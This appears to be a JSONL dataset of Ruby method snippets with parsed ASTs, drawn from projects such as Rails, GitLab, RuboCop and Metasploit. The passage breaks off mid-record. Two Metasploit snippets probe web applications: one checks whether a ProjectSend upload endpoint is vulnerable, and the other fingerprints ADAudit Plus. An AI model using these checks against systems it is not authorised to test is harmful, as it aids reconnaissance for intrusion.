{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/background_task_spec.rb","start_line":57,"raw_source":"def start\n              self.started = true\n              self.start_retval\n            end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"start\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"started=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"start_retval\"]}]}]}","id":"27a22142-363f-4a1a-9644-6a40e5daa9fa"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/crypto_asn1/cms.rb","start_line":20,"raw_source":"def to_der\n      options[:openssl_certificate]&.to_der || ''\n    end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"to_der\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"openssl_certificate\"]}]},\"to_der\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"51a90c0e-68ed-4c9d-8f22-f5aadb7ddc0b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/attribute_methods/dirty.rb","start_line":239,"raw_source":"def _create_record(attribute_names = attribute_names_for_partial_inserts)\n          id = super\n          changes_applied\n          id\n        end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"_create_record\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"attribute_names\",{\"type\":\"send\",\"children\":[null,\"attribute_names_for_partial_inserts\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"changes_applied\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}","id":"fb3ccdc8-53aa-4e7d-b393-ea66389c8fed"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/secure_file.rb","start_line":84,"raw_source":"def generate_key_data\n      return if key_data.present?\n\n      self.key_data = SecureRandom.hex(64)\n    end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_key_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key_data\"]},\"present?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"key_data=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\",{\"type\":\"int\",\"children\":[64]}]}]}]}]}","id":"b8d8ecb0-9735-4002-b344-3efa65c65401"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/redundant_cop_disable_directive.rb","start_line":229,"raw_source":"def add_offense_for_entire_comment(comment, cops)\n          location = DirectiveComment.new(comment).range\n          cop_names = cops.sort.map { |c| describe(c) }.join(', ')\n\n          add_offense(location, message: message(cop_names)) do |corrector|\n            range = comment_range_with_surrounding_space(location, comment.source_range)\n\n            if leave_free_comment?(comment, range)\n              corrector.replace(range, ' # ')\n            else\n              corrector.remove(range)\n            end\n          end\n        end","complexity_score":22.3,"ast_json":"{\"type\":\"def\",\"children\":[\"add_offense_for_entire_comment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comment\"]},{\"type\":\"arg\",\"children\":[\"cops\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"location\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DirectiveComment\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"comment\"]}]},\"range\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cop_names\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cops\"]},\"sort\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"describe\",{\"type\":\"lvar\",\"children\":[\"c\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"location\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"message\",{\"type\":\"lvar\",\"children\":[\"cop_names\"]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"comment_range_with_surrounding_space\",{\"type\":\"lvar\",\"children\":[\"location\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"source_range\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"leave_free_comment?\",{\"type\":\"lvar\",\"children\":[\"comment\"]},{\"type\":\"lvar\",\"children\":[\"range\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"str\",\"children\":[\" # \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"lvar\",\"children\":[\"range\"]}]}]}]}]}]}]}","id":"5378937e-7e7a-4b0b-bfdf-612d70768176"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/active_record_unit.rb","start_line":67,"raw_source":"def load_schema\n        File.read(File.expand_path(\"fixtures/db_definitions/sqlite.sql\", __dir__)).split(\";\").each do |sql|\n          ActiveRecord::Base.lease_connection.execute(sql) unless sql.blank?\n        end\n      end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"load_schema\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"fixtures/db_definitions/sqlite.sql\"]},{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]}]},\"split\",{\"type\":\"str\",\"children\":[\";\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sql\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"blank?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},\"execute\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]}]}]}","id":"af3a7f74-fc8b-4860-a1aa-e4ba8e4bb99f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/graphql/deprecations/deprecation.rb","start_line":127,"raw_source":"def description_suffix\n          \" #{changed_in_milestone}: #{reason_text}\"\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"description_suffix\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"changed_in_milestone\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reason_text\"]}]}]}]}","id":"f3ba2264-6ec3-4947-b2e7-0a0a5958b7a3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/projectsend_upload_exec.rb","start_line":62,"raw_source":"def check\n    res = send_request_cgi(\n      'uri' => normalize_uri(target_uri.path, 'process-upload.php')\n    )\n    if !res\n      vprint_error(\"Connection timed out\")\n      return Exploit::CheckCode::Unknown\n    elsif res.code.to_i == 404\n      vprint_error(\"No process-upload.php found\")\n      return Exploit::CheckCode::Safe\n    elsif res.code.to_i == 500\n      vprint_error(\"Unable to write file\")\n      return Exploit::CheckCode::Safe\n    elsif res.code.to_i == 200 && res.body && res.body =~ /<\\?php/\n      vprint_error(\"File process-upload.php is not executable\")\n      return Exploit::CheckCode::Safe\n    elsif res.code.to_i == 200 && res.body && res.body =~ /sys\\.config\\.php/\n      vprint_error(\"Software is misconfigured\")\n      return Exploit::CheckCode::Safe\n    elsif res.code.to_i == 200 && res.body && res.body =~ /jsonrpc/\n      # response on revision 118 onwards includes the file name\n      if res.body && res.body =~ /NewFileName/\n        return Exploit::CheckCode::Vulnerable\n      # response on revisions 100 to 117 does not include the file name\n      elsif res.body && res.body =~ /{\"jsonrpc\" : \"2.0\", \"result\" : null, \"id\" : \"id\"}/\n        return Exploit::CheckCode::Appears\n      elsif res.body && res.body =~ /Failed to open output stream/\n        vprint_error(\"Upload folder is not writable\")\n        return Exploit::CheckCode::Safe\n      else\n        return Exploit::CheckCode::Detected\n      end\n    else\n      return Exploit::CheckCode::Safe\n    end\n  end","complexity_score":88.35,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"process-upload.php\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Connection timed out\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"to_i\"]},\"==\",{\"type\":\"int\",\"children\":[404]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"No process-upload.php found\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"to_i\"]},\"==\",{\"type\":\"int\",\"children\":[500]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Unable to write file\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"to_i\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<\\\\?php\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"File process-upload.php is not executable\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"to_i\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"sys\\\\.config\\\\.php\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Software is misconfigured\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"to_i\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"jsonrpc\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"NewFileName\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"{\\\"jsonrpc\\\" : \\\"2.0\\\", \\\"result\\\" : null, \\\"id\\\" : \\\"id\\\"}\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to open output stream\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Upload folder is not writable\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}]}]}]}]}]}]}","id":"13b1c4fa-1ef4-4dd6-a3fb-750b81b98dae"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/if_with_boolean_literal_branches.rb","start_line":157,"raw_source":"def require_parentheses?(condition)\n          condition.operator_keyword? || (condition.send_type? && condition.comparison_method?)\n        end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"require_parentheses?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"condition\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"condition\"]},\"operator_keyword?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"condition\"]},\"send_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"condition\"]},\"comparison_method?\"]}]}]}]}]}","id":"bf9d2375-2471-478a-8f1a-118429f438d3"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/url_helper_test.rb","start_line":1114,"raw_source":"def show\n      if params[:name]\n        render inline: \"ok\"\n      else\n        redirect_to profile_path(params[:id])\n      end\n    end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inline\"]},{\"type\":\"str\",\"children\":[\"ok\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"profile_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}","id":"ee1559cd-f907-4c03-8808-6169660c4469"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/builders/messages/message_builder.rb","start_line":59,"raw_source":"def parse_json(content)\n    JSON.parse(content, symbolize_names: true)\n  rescue JSON::ParserError\n    {}\n  end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_json\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"content\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbolize_names\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"ParserError\"]}]},null,{\"type\":\"hash\",\"children\":[]}]},null]}]}","id":"f9482f21-899b-41ef-a681-cb33809d2af1"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/out_http.rb","start_line":279,"raw_source":"def parse_endpoint(chunk)\n      endpoint = extract_placeholders(@endpoint, chunk)\n      URI.parse(endpoint)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_endpoint\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chunk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"endpoint\",{\"type\":\"send\",\"children\":[null,\"extract_placeholders\",{\"type\":\"ivar\",\"children\":[\"@endpoint\"]},{\"type\":\"lvar\",\"children\":[\"chunk\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"endpoint\"]}]}]}]}","id":"0b7585ed-881c-4ea6-a255-6c2f0368f55e"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/next.rb","start_line":176,"raw_source":"def offense_location(offense_node)\n          offense_begin_pos = offense_node.source_range.begin\n          offense_begin_pos.join(offense_node.condition.source_range)\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"offense_location\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offense_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"offense_begin_pos\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offense_node\"]},\"source_range\"]},\"begin\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offense_begin_pos\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offense_node\"]},\"condition\"]},\"source_range\"]}]}]}]}","id":"7c539435-d485-455f-a360-a3cd87205319"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/activitypub/outboxes_controller.rb","start_line":71,"raw_source":"def page_params\n    { page: true, max_id: params[:max_id], min_id: params[:min_id] }.compact\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"page_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"max_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"min_id\"]}]}]}]},\"compact\"]}]}","id":"7a108fa6-5725-49f9-8f89-65c3e7bf01b5"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/output.rb","start_line":593,"raw_source":"def synchronize_path(path)\n        synchronize_path_in_workers(path) do\n          synchronize_in_threads do\n            yield\n          end\n        end\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"synchronize_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"synchronize_path_in_workers\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"synchronize_in_threads\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"yield\",\"children\":[]}]}]}]}","id":"ed374e6b-ec07-490b-85e4-2122bae30b22"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb","start_line":15,"raw_source":"def adaudit_plus_target_check\n    res = send_request_cgi({\n      'uri' => normalize_uri(target_uri.path),\n      'method' => 'GET'\n    })\n\n    unless res\n      return {\n        'status' => adaudit_plus_status::CONNECTION_FAILED,\n        'message' => 'Connection failed.'\n      }\n    end\n\n    if res.code == 200 && res.body =~ /<title>ADAudit Plus/\n      return {\n        'status' => adaudit_plus_status::SUCCESS,\n        'message' => 'The target appears to be MangeEngine ADAudit Plus',\n        'server_response' => res.body\n      }\n    end\n\n    {\n      'status' => adaudit_plus_status::UNEXPECTED_REPLY,\n      'message' => 'The target does not appear to be MangeEngine ADAudit Plus',\n    }\n  end","complexity_score":17.33,"ast_json":"{\"type\":\"def\",\"children\":[\"adaudit_plus_target_check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"adaudit_plus_status\"]},\"CONNECTION_FAILED\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Connection failed.\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<title>ADAudit Plus\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"adaudit_plus_status\"]},\"SUCCESS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"The target appears to be MangeEngine ADAudit Plus\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"server_response\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"adaudit_plus_status\"]},\"UNEXPECTED_REPLY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"The target does not appear to be MangeEngine ADAudit Plus\"]}]}]}]}]}","id":"88a182e6-2fb8-4aa4-b227-edeb61cbfb08"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":599,"raw_source":"def test_member_on_loaded_relation_with_match\n    customers = Customer.where(name: \"David\").load\n    david     = customers(:david)\n\n    assert_no_queries do\n      assert_equal true, customers.member?(david)\n    end\n  